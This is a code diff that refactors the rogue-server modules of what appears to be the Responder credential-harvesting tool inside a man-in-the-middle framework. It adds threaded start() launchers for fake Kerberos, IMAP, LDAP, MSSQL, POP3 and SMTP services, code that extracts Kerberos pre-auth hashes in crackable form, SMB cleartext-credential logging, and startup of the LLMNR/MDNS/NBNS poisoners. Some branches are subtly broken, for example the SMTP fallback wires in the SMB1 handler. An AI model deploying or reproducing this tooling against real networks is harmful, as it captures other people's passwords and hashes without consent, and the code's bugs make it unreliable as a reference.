@ -242,12 +246,12 @@ def PacketSequence(data, client):
|
|||
if settings.Config.Basic == True:
|
||||
Response = IIS_Basic_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||
log.info("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||
|
||||
else:
|
||||
Response = IIS_Auth_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
||||
log.info("[HTTP] Sending NTLM authentication request to %s" % client)
|
||||
|
||||
return str(Response)
|
||||
|
||||
|
@ -265,7 +269,7 @@ class HTTP1(BaseRequestHandler):
|
|||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.request.send(Buffer)
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
log.info("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
|
@ -290,7 +294,7 @@ class HTTPS(StreamRequestHandler):
|
|||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.exchange.send(Buffer)
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
log.info("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
|
|
|
@ -15,14 +15,43 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
import core.responder.settings as settings
|
||||
import threading
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
from core.responder.utils import *
|
||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||
from core.responder.packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
class IMAP:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((settings.Config.Bind_To, 143), IMAP4)
|
||||
else:
|
||||
server = ThreadingTCPServer(('', 143), IMAP4)
|
||||
|
||||
t = threading.Thread(name='IMAP', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting IMAP server: {}".format(e)
|
||||
print_exc()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
# IMAP4 Server class
|
||||
class IMAP(BaseRequestHandler):
|
||||
class IMAP4(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
|
|
|
@ -16,144 +16,189 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
import core.responder.settings as settings
|
||||
import threading
|
||||
from traceback import print_exc
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer, UDPServer
|
||||
from core.responder.utils import *
|
||||
|
||||
class Kerberos:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server1 = ThreadingTCPServer((settings.Config.Bind_To, 88), KerbTCP)
|
||||
server2 = ThreadingUDPServer((settings.Config.Bind_To, 88), KerbUDP)
|
||||
else:
|
||||
server1 = ThreadingTCPServer(('', 88), KerbTCP)
|
||||
server2 = ThreadingUDPServer(('', 88), KerbUDP)
|
||||
|
||||
for server in [server1, server2]:
|
||||
t = threading.Thread(name='Kerberos', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting Kerberos server: {}".format(e)
|
||||
print_exc()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
|
||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
except Exception:
|
||||
raise
|
||||
|
|
|
@ -16,11 +16,41 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
import core.responder.settings as settings
|
||||
import threading
|
||||
from traceback import print_exc
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||
from core.responder.packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from core.responder.utils import *
|
||||
|
||||
class LDAP:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((settings.Config.Bind_To, 389), LDAPServer)
|
||||
else:
|
||||
server = ThreadingTCPServer(('', 389), LDAPServer)
|
||||
|
||||
t = threading.Thread(name='LDAP', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting LDAP server: {}".format(e)
|
||||
print_exc()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
|
@ -66,7 +96,7 @@ def ParseLDAPHash(data, client):
|
|||
})
|
||||
|
||||
if LMhashLen < 2 and settings.Config.Verbose:
|
||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
settings.Config.ResponderLogger.info("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
|
@ -119,10 +149,10 @@ def ParseLDAPPacket(data, client):
|
|||
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print text('[LDAP] Operation not supported')
|
||||
settings.Config.ResponderLogger.info('[LDAP] Operation not supported')
|
||||
|
||||
# LDAP Server class
|
||||
class LDAP(BaseRequestHandler):
|
||||
class LDAPServer(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
|
|
|
@ -16,11 +16,40 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
import core.responder.settings as settings
|
||||
import threading
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||
from core.responder.packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||
from core.responder.utils import *
|
||||
|
||||
class MSSQL:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((settings.Config.Bind_To, 1433), MSSQLServer)
|
||||
else:
|
||||
server = ThreadingTCPServer(('', 1433), MSSQLServer)
|
||||
|
||||
t = threading.Thread(name='MSSQL', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting MSSQL server: {}".format(e)
|
||||
print_exc()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class TDS_Login_Packet():
|
||||
def __init__(self, data):
|
||||
|
@ -119,11 +148,11 @@ def ParseClearTextSQLPass(data, client):
|
|||
})
|
||||
|
||||
# MSSQL Server class
|
||||
class MSSQL(BaseRequestHandler):
|
||||
class MSSQLServer(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
if settings.Config.Verbose:
|
||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||
settings.Config.ResponderLogger.info("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||
|
||||
try:
|
||||
while True:
|
||||
|
|
|
@ -15,14 +15,44 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
import core.responder.settings as settings
|
||||
import threading
|
||||
from traceback import print_exc
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket
|
||||
from core.responder.utils import *
|
||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||
from core.responder.packets import POPOKPacket
|
||||
|
||||
class POP3:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((settings.Config.Bind_To, 110), POP3Server)
|
||||
else:
|
||||
server = ThreadingTCPServer(('', 110), POP3Server)
|
||||
|
||||
t = threading.Thread(name='POP3', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting POP3 server: {}".format(e)
|
||||
print_exc()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
class POP3Server(BaseRequestHandler):
|
||||
|
||||
def SendPacketAndRead(self):
|
||||
Packet = POPOKPacket()
|
||||
|
|
|
@ -74,31 +74,36 @@ def Is_LMNT_Anonymous(data):
|
|||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
||||
#print hex(Dialect)
|
||||
packet = data
|
||||
try:
|
||||
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
||||
#print hex(Dialect)
|
||||
|
||||
if Dialect[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if Dialect[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if Dialect[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if Dialect[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if Dialect[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if Dialect[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if Dialect[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if Dialect[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if Dialect[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if Dialect[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if Dialect[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
if Dialect[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if Dialect[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if Dialect[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if Dialect[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if Dialect[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if Dialect[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if Dialect[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if Dialect[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if Dialect[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if Dialect[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if Dialect[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
except Exception:
|
||||
print 'Exception on Parse_Nego_Dialect! Packet hexdump:'
|
||||
print hexdump(packet)
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
|
@ -124,7 +129,7 @@ def ParseShare(data):
|
|||
packet = data[:]
|
||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
if a:
|
||||
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
||||
settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
||||
|
||||
#Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client):
|
||||
|
@ -237,7 +242,7 @@ def IsNT4ClearTxt(data, client):
|
|||
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||
settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||
|
||||
# SMB Server class, NTLMSSP
|
||||
|
|
|
@ -15,12 +15,44 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
import core.responder.settings as settings
|
||||
import threading
|
||||
|
||||
from utils import *
|
||||
from core.responder.utils import *
|
||||
from base64 import b64decode, b64encode
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||
from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
class SMTP:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP)
|
||||
server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP)
|
||||
else:
|
||||
server1 = ThreadingTCPServer(('', 25), SMB1)
|
||||
server2 = ThreadingTCPServer(('', 587), SMB1)
|
||||
|
||||
for server in [server1, server2]:
|
||||
t = threading.Thread(name='SMTP', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting SMTP server: {}".format(e)
|
||||
print_exc()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
# ESMTP Server class
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
|
|
@ -17,7 +17,6 @@
|
|||
#
|
||||
|
||||
import re
|
||||
import flask
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
@ -34,7 +33,7 @@ class HTADriveBy(Inject, Plugin):
|
|||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
from core.servers.HTTP import HTTP
|
||||
def hta_request(path):
|
||||
if path == options.hta_app.split('/')[-1]:
|
||||
with open(options.hta_app) as hta_file:
|
||||
|
|
|
@ -17,7 +17,6 @@
|
|||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import flask
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
|
@ -36,12 +35,40 @@ class Responder(Plugin):
|
|||
self.ip = options.ip
|
||||
|
||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||
from core.poisoners.LLMNR import LLMNR
|
||||
from core.poisoners.MDNS import MDNS
|
||||
from core.poisoners.NBTNS import NBTNS
|
||||
LLMNR().start()
|
||||
MDNS().start()
|
||||
NBTNS().start()
|
||||
import core.poisoners.LLMNR as LLMNR
|
||||
import core.poisoners.MDNS as MDNS
|
||||
import core.poisoners.NBTNS as NBTNS
|
||||
LLMNR.start()
|
||||
MDNS.start()
|
||||
NBTNS.start()
|
||||
|
||||
if self.config["Responder"]["SQL"].lower() == "on":
|
||||
from core.servers.MSSQL import MSSQL
|
||||
MSSQL().start()
|
||||
|
||||
